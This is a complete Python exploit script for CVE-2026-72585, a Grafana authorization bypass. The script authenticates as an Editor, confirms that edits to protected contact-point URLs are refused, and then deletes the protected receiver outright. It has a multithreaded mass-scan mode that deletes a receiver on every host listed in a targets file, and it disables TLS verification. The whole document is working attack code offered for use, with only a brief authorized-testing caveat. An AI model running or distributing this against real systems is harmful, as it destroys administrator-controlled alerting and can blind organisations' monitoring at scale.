📄 Grafana 13.1.3 Authorization Bypass

#!/usr/bin/env python3
    """
    CVE-2026-72585 - Grafana protected contact point deletion via missing authorization check
    Affected: Grafana OSS/Enterprise 11.6.9 through 13.1.3 (no fixed version exists as of disclosure)
    Type: Authorization bypass / broken access control (privilege escalation within an authenticated session)
    
    Grafana marks the destination fields of a contact point (the webhook `url`, Slack/Discord/
    Teams `url`, Jira `api_url`, and so on) as "protected". Changing one requires the dedicated
    permission alert.notifications.receivers.protected:write, which by default only Admins hold.
    The receivers UPDATE path enforces this: an Editor's attempt to repoint a protected URL is
    refused with HTTP 403. The receivers DELETE path never consults the protected-field state, so
    the same Editor - who is forbidden to edit the receiver - can simply delete it, destroying an
    administrator-controlled alert destination outright.
    
    The finding is the pairing of two responses from one identity against one resource:
      - PUT that moves a protected field  -> 403 (control is present and the caller lacks it)
      - DELETE of the whole receiver       -> 2xx (the same protection is silently skipped)
    Either response alone proves nothing; together they prove the asymmetry.
    
    This exploit targets the Editor-reachable receivers API:
      DELETE /apis/notifications.alerting.grafana.app/{version}/namespaces/{ns}/receivers/{name}
    NOT the provisioning API named in the NVD reference - that route is gated at the router behind
    alert.provisioning:write, which a default Editor never holds, and would give a false negative.
    
    Note: confirming this bug is inherently destructive. The only network-observable proof that the
    delete path skips the protected check is to actually delete the receiver. This script does that.
    Point it only at systems you are authorized to test, and prefer an unreferenced target receiver.
    
    Usage:
      python exploit.py --host 127.0.0.1 --port 3000 --username editor --password '<pass>'
      python exploit.py --host https://grafana.corp.com --username editor --password '<pass>'
      python exploit.py --host https://grafana.corp.com --username editor --password '<pass>' --receiver soc-webhook
      python exploit.py --host grafana.corp.com --port 3000 --username editor --password '<pass>' --safe
      python exploit.py --list targets.txt --username editor --password '<pass>' --workers 20
    
    The target receiver is auto-selected (first unreferenced receiver carrying a protected field,
    excluding the built-in email receiver) unless --receiver is given.
    """
    
    import argparse
    import json
    import ssl
    import sys
    import urllib.error
    import urllib.request
    from base64 import b64encode
    from urllib.parse import urlparse
    
    CVE_ID    = "CVE-2026-72585"
    VULN_TYPE = "Authorization Bypass"
    
    GROUP = "notifications.alerting.grafana.app"
    # Newest served first; 13.1.3 serves both and exposes identical receivers routes on each.
    API_VERSIONS = ("v1beta1", "v0alpha1")
    # Field names Grafana's integration schemas mark "protected" (the alert destination fields).
    PROTECTED_KEYS = (
        "url", "api_url", "apiURL", "endpointUrl", "kafkaRestProxy", "brokerUrl",
        "token_url", "proxy_url", "webHookURL", "recipient",
    )
    DEFAULT_EMAIL_RECEIVER = "grafana-default-email"
    
    
    # ---------------------------------------------------------------------------
    # Standard output helpers
    # ---------------------------------------------------------------------------
    def header(host: str, port: int) -> None:
        print(f"\n{'='*60}")
        print(f"  ALIM EXPLOIT  {CVE_ID}")
        print(f"  Type: {VULN_TYPE}  |  Target: {host}:{port}")
        print(f"{'='*60}\n")
    
    def step(n: int, msg: str) -> None:
        print(f"[STEP {n}] {msg}")
    
    def section(label: str, content: str) -> None:
        print(f"\n--- {label} ---")
        print(str(content).strip())
        print("---\n")
    
    def done(success: bool, evidence: str) -> None:
        print(f"\n{'='*60}")
        print(f"  RESULT  : {'SUCCESS' if success else 'FAILURE'}")
        print(f"  EVIDENCE: {evidence}")
        print(f"{'='*60}\n")
        sys.exit(0 if success else 1)
    
    
    # ---------------------------------------------------------------------------
    # Minimal HTTP client (stdlib only, HTTP Basic auth on every request)
    # ---------------------------------------------------------------------------
    class Client:
        def __init__(self, host, port, use_tls, username, password, timeout=15):
            scheme = "https" if use_tls else "http"
            self.base = f"{scheme}://{host}:{port}"
            self.timeout = timeout
            token = b64encode(f"{username}:{password}".encode()).decode()
            self.auth_header = f"Basic {token}"
            if use_tls:
                self.ctx = ssl.create_default_context()
                self.ctx.check_hostname = False
                self.ctx.verify_mode = ssl.CERT_NONE
            else:
                self.ctx = None
    
        def request(self, method, path, body=None):
            """Return (status_code, parsed_json_or_text). Never raises on HTTP status."""
            url = self.base + path
            data = None
            headers = {"Authorization": self.auth_header, "Accept": "application/json"}
            if body is not None:
                data = json.dumps(body).encode()
                headers["Content-Type"] = "application/json"
            req = urllib.request.Request(url, data=data, headers=headers, method=method)
            try:
                with urllib.request.urlopen(req, timeout=self.timeout, context=self.ctx) as resp:
                    raw = resp.read().decode("utf-8", "replace")
                    return resp.getcode(), _maybe_json(raw)
            except urllib.error.HTTPError as e:
                raw = e.read().decode("utf-8", "replace")
                return e.code, _maybe_json(raw)
    
    
    def _maybe_json(raw):
        try:
            return json.loads(raw)
        except ValueError:
            return raw
    
    
    # ---------------------------------------------------------------------------
    # Core exploit primitives
    # ---------------------------------------------------------------------------
    def _resolve_version(client, namespace):
        """Return the first served API version whose receivers route responds, else None."""
        for ver in API_VERSIONS:
            code, _ = client.request("GET", f"/apis/{GROUP}/{ver}/namespaces/{namespace}/receivers")
            if code == 200:
                return ver
        return None
    
    
    def _receivers_path(ver, namespace, name=None):
        base = f"/apis/{GROUP}/{ver}/namespaces/{namespace}/receivers"
        return base + (f"/{name}" if name else "")
    
    
    def _has_protected_field(item):
        """True if any integration in the receiver carries a schema-protected destination field."""
        for integ in (item.get("spec", {}).get("integrations") or []):
            settings = integ.get("settings") or {}
            if any(k in settings for k in PROTECTED_KEYS):
                return True
        return False
    
    
    def _is_unreferenced(item):
        ann = item.get("metadata", {}).get("annotations", {}) or {}
        routes = ann.get(f"{GROUP.split('.')[0]}.com/inUse/routes")
        rules = ann.get(f"{GROUP.split('.')[0]}.com/inUse/rules")
        # Annotation keys are "grafana.com/inUse/routes"; fall back to explicit lookup.
        routes = ann.get("grafana.com/inUse/routes", routes)
        rules = ann.get("grafana.com/inUse/rules", rules)
        if routes is None and rules is None:
            return None  # unknown; caller decides
        return (routes in (None, "0", 0)) and (rules in (None, "0", 0))
    
    
    def _pick_target(items, wanted_name=None):
        """
        Choose the receiver to attack.
          - if wanted_name given: match on spec.title or metadata.name
          - else: first unreferenced receiver carrying a protected field, excluding built-in email
        Returns the item dict or None.
        """
        if wanted_name:
            for it in items:
                title = it.get("spec", {}).get("title")
                name = it.get("metadata", {}).get("name")
                if wanted_name in (title, name):
                    return it
            return None
    
        candidates = []
        for it in items:
            title = it.get("spec", {}).get("title")
            if title == DEFAULT_EMAIL_RECEIVER:
                continue
            if not _has_protected_field(it):
                continue
            candidates.append(it)
        # Prefer an explicitly-unreferenced target so the in-use guard cannot mask the result.
        for it in candidates:
            if _is_unreferenced(it) is True:
                return it
        return candidates[0] if candidates else None
    
    
    def _mutate_protected(item):
        """
        Return a copy of the receiver spec body with one protected field changed to a
        different value, so a PUT of it exercises the protected-fields authorization check.
        """
        spec = json.loads(json.dumps(item.get("spec", {})))  # deep copy
        changed = False
        for integ in (spec.get("integrations") or []):
            settings = integ.get("settings") or {}
            for k in PROTECTED_KEYS:
                if k in settings:
                    # A syntactically valid but different destination. RFC 5737 test-net address.
                    settings[k] = "http://203.0.113.201:9/exfil"
                    changed = True
                    break
            if changed:
                break
        return spec, changed
    
    
    def _protected_put_refused(client, ver, namespace, item):
        """
        PUT the receiver with a protected field moved. Expected: 403 naming the protected fields.
        Returns (refused: bool, code: int, detail: str). Non-destructive: a refused PUT persists
        nothing.
        """
        name = item["metadata"]["name"]
        # Fetch a fresh copy for an up-to-date resourceVersion (avoids a spurious 409).
        code, cur = client.request("GET", _receivers_path(ver, namespace, name))
        if code != 200 or not isinstance(cur, dict):
            return False, code, "could not re-read receiver before PUT"
        spec, changed = _mutate_protected(cur)
        if not changed:
            return False, 0, "no protected field found to mutate"
        body = {
            "apiVersion": f"{GROUP}/{ver}",
            "kind": "Receiver",
            "metadata": {
                "name": name,
                "namespace": namespace,
                "resourceVersion": cur["metadata"].get("resourceVersion"),
            },
            "spec": spec,
        }
        code, resp = client.request("PUT", _receivers_path(ver, namespace, name), body)
        body_str = json.dumps(resp) if isinstance(resp, (dict, list)) else str(resp)
        is_protected_403 = code == 403 and ("protected" in body_str.lower() or "changed_protected_fields" in body_str)
        return is_protected_403, code, body_str
    
    
    def _delete(client, ver, namespace, name):
        code, resp = client.request("DELETE", _receivers_path(ver, namespace, name))
        body_str = json.dumps(resp) if isinstance(resp, (dict, list)) else str(resp)
        return code, body_str
    
    
    def _still_present(client, ver, namespace, name):
        code, _ = client.request("GET", _receivers_path(ver, namespace, name))
        return code == 200
    
    
    # ---------------------------------------------------------------------------
    # Silent probe for --list scan mode
    # ---------------------------------------------------------------------------
    def _try_exploit(host, port, use_tls, username="", password="",
                     receiver=None, namespace="default", safe=False, **kwargs):
        """
        Silent probe. Returns (success, evidence). Never prints or exits.
        Performs the full destructive differential unless safe=True (PUT-403 check only).
        """
        try:
            client = Client(host, port, use_tls, username, password)
            ver = _resolve_version(client, namespace)
            if ver is None:
                # Distinguish auth failure from "not served".
                code, _ = client.request("GET", "/api/health")
                if code == 401:
                    return False, "auth failed (401) - check --username/--password"
                return False, "receivers API not served (not Grafana >= 11.6.9, or wrong namespace)"
    
            code, listing = client.request("GET", _receivers_path(ver, namespace))
            items = listing.get("items", []) if isinstance(listing, dict) else []
            target = _pick_target(items, receiver)
            if target is None:
                return False, "no unreferenced protected receiver found to target"
            name = target["metadata"]["name"]
            title = target.get("spec", {}).get("title", name)
    
            refused, put_code, _ = _protected_put_refused(client, ver, namespace, target)
            if put_code == 200:
                return False, f"caller may edit protected fields (PUT 200) - not a lower-privileged role; '{title}'"
            if not refused:
                return False, f"protected PUT not refused as expected (HTTP {put_code}) - inconclusive"
    
            if safe:
                return False, f"control present (PUT 403 on '{title}'); delete not attempted (--safe)"
    
            del_code, del_body = _delete(client, ver, namespace, name)
            if del_code in (409,) or "used by" in del_body.lower() or "referenced" in del_body.lower():
                return False, f"target '{title}' is in use (HTTP {del_code}) - not the vuln; pick an unreferenced receiver"
            if del_code == 403:
                return False, f"delete blocked (403) on '{title}' - protected check enforced (patched)"
            if del_code not in (200, 202, 204):
                return False, f"delete returned HTTP {del_code} - inconclusive"
            if _still_present(client, ver, namespace, name):
                return False, f"delete returned {del_code} but receiver '{title}' still present - inconclusive"
            return True, f"Editor deleted protected receiver '{title}' (PUT 403 / DELETE {del_code}, now absent)"
        except Exception as e:
            return False, f"unreachable ({e.__class__.__name__})"
    
    
    # ---------------------------------------------------------------------------
    # Target line parser (fixed 4-tuple arity)
    # ---------------------------------------------------------------------------
    def _parse_target(line, default_port, default_path="/"):
        line = line.strip()
        if not line or line.startswith("#"):
            return None
        if line.startswith(("http://", "https://")):
            p = urlparse(line)
            tls = p.scheme == "https"
            path = p.path if (p.path and p.path not in ("", "/")) else default_path
            return p.hostname, p.port or (443 if tls else default_port), tls, path
        if ":" in line:
            parts = line.rsplit(":", 1)
            try:
                port = int(parts[1])
                return parts[0], port, port in (443, 8443), default_path
            except ValueError:
                pass
        return line, default_port, default_port in (443, 8443), default_path
    
    
    def scan(targets_file, default_port, workers, username, password, receiver, namespace, safe):
        import concurrent.futures
    
        with open(targets_file) as f:
            targets = [_parse_target(l, default_port) for l in f]
        targets = [t for t in targets if t is not None]
    
        print(f"\n{'='*60}")
        print(f"  {CVE_ID} - Batch Scan  ({len(targets)} targets, {workers} workers)")
        if not safe:
            print("  WARNING: confirming this bug DELETES the target receiver on each host.")
        print(f"{'='*60}\n")
    
        success_count = 0
    
        def probe(t):
            host, port, use_tls, _ = t
            label = f"{'https' if use_tls else 'http'}://{host}:{port}"
            ok, evidence = _try_exploit(host, port, use_tls, username=username,
                                        password=password, receiver=receiver,
                                        namespace=namespace, safe=safe)
            return label, ok, evidence
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
            futures = {ex.submit(probe, t): t for t in targets}
            for fut in concurrent.futures.as_completed(futures):
                label, ok, evidence = fut.result()
                print(f"  {'[+]' if ok else '[-]'} {label} - {'Exploited' if ok else 'Not vulnerable'}: {evidence}")
                if ok:
                    success_count += 1
    
        total = len(targets)
        print(f"\n{'='*60}")
        print(f"  SCAN COMPLETE  {success_count} exploited / {total - success_count} not vulnerable  ({total} total)")
        print(f"{'='*60}\n")
        sys.exit(0 if success_count > 0 else 1)
    
    
    # ---------------------------------------------------------------------------
    # Single-target exploit (verbose)
    # ---------------------------------------------------------------------------
    def exploit(host, port, use_tls, username, password, receiver, namespace, safe):
        header(host, port)
    
        client = Client(host, port, use_tls, username, password)
    
        step(1, f"Resolving served receivers API version (namespace '{namespace}')...")
        ver = _resolve_version(client, namespace)
        if ver is None:
            code, _ = client.request("GET", "/api/health")
            if code == 401:
                done(False, "authentication failed (401) - check --username/--password")
            done(False, "receivers API not served - target is not Grafana >= 11.6.9 or namespace is wrong")
        print(f"        -> using {GROUP}/{ver}")
    
        step(2, "Listing receivers as the authenticated (lower-privileged) user...")
        code, listing = client.request("GET", _receivers_path(ver, namespace))
        if code != 200 or not isinstance(listing, dict):
            done(False, f"could not list receivers (HTTP {code})")
        items = listing.get("items", [])
        titles = [it.get("spec", {}).get("title") for it in items]
        section("RECEIVERS VISIBLE TO CALLER", json.dumps(titles))
    
        target = _pick_target(items, receiver)
        if target is None:
            done(False, "no unreferenced receiver carrying a protected field was found to target")
        name = target["metadata"]["name"]
        title = target.get("spec", {}).get("title", name)
        unref = _is_unreferenced(target)
        print(f"        -> target receiver '{title}' (name={name}, unreferenced={unref})")
    
        step(3, "Proving the control exists: PUT that moves a protected field (expect 403)...")
        refused, put_code, put_detail = _protected_put_refused(client, ver, namespace, target)
        section(f"PUT RESPONSE (HTTP {put_code})", put_detail)
        if put_code == 200:
            done(False, "caller was allowed to edit a protected field (PUT 200) - this account is "
                        "not a lower-privileged role, so the delete differential proves nothing")
        if not refused:
            done(False, f"protected-field PUT was not refused with a protected-fields 403 "
                        f"(got HTTP {put_code}) - cannot establish the control; aborting")
        print("        -> refused with a protected-fields 403: the caller may NOT edit this receiver")
    
        if safe:
            done(False, "SAFE MODE: control confirmed (protected PUT refused with 403); "
                        "destructive DELETE not attempted. Re-run without --safe to confirm the bypass.")
    
        step(4, "Triggering the bug: DELETE the same receiver as the same user (expect 2xx)...")
        del_code, del_body = _delete(client, ver, namespace, name)
        section(f"DELETE RESPONSE (HTTP {del_code})", del_body)
        if del_code == 403:
            done(False, "DELETE was refused with 403 - the delete path enforces the protected "
                        "check on this build, so it is NOT vulnerable")
        if del_code == 409 or "used by" in del_body.lower() or "referenced" in del_body.lower():
            done(False, f"DELETE refused because the receiver is in use (HTTP {del_code}) - this is "
                        f"the in-use guard, not the fix; retarget an unreferenced receiver")
        if del_code not in (200, 202, 204):
            done(False, f"DELETE returned unexpected HTTP {del_code} - inconclusive")
        print(f"        -> DELETE accepted (HTTP {del_code})")
    
        step(5, "Confirming the protected receiver is gone...")
        present = _still_present(client, ver, namespace, name)
        section("POST-DELETE STATE",
                f"receiver '{title}' present after delete: {present}")
        if present:
            done(False, f"DELETE returned {del_code} but the receiver is still listed - inconclusive")
    
        done(True,
             f"Authorization bypass confirmed: user '{username}' is REFUSED (403) editing the "
             f"protected 'url' of receiver '{title}' but SUCCEEDS deleting it (DELETE {del_code}); "
             f"the protected alert destination is now gone")
    
    
    # ---------------------------------------------------------------------------
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
        target_grp = parser.add_mutually_exclusive_group(required=True)
        target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:3000)")
        target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
        parser.add_argument("--port", type=int, default=3000, help="Default port (default: 3000)")
        parser.add_argument("--username", default="editor",
                            help="Login of the authenticated Editor-role account (default: editor)")
        parser.add_argument("--password", default="",
                            help="Password for --username (required)")
        parser.add_argument("--receiver", default=None,
                            help="Target receiver by title/name (default: auto-select an unreferenced protected receiver)")
        parser.add_argument("--namespace", default="default",
                            help="Grafana API namespace: 'default' for org 1, 'org-<id>' otherwise (default: default)")
        parser.add_argument("--safe", action="store_true",
                            help="Stop after proving the control (protected PUT 403); do NOT delete anything")
        parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
        tls_grp = parser.add_mutually_exclusive_group()
        tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
        tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
        args = parser.parse_args()
    
        if not args.password:
            parser.error("--password is required (the exploit authenticates as an existing Editor account)")
    
        if args.list:
            scan(args.list, default_port=args.port, workers=args.workers,
                 username=args.username, password=args.password, receiver=args.receiver,
                 namespace=args.namespace, safe=args.safe)
        else:
            parsed = _parse_target(args.host, args.port)
            host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
            if args.tls:
                use_tls = True
            if args.no_tls:
                use_tls = False
            exploit(host, port, use_tls, args.username, args.password,
                    args.receiver, args.namespace, args.safe)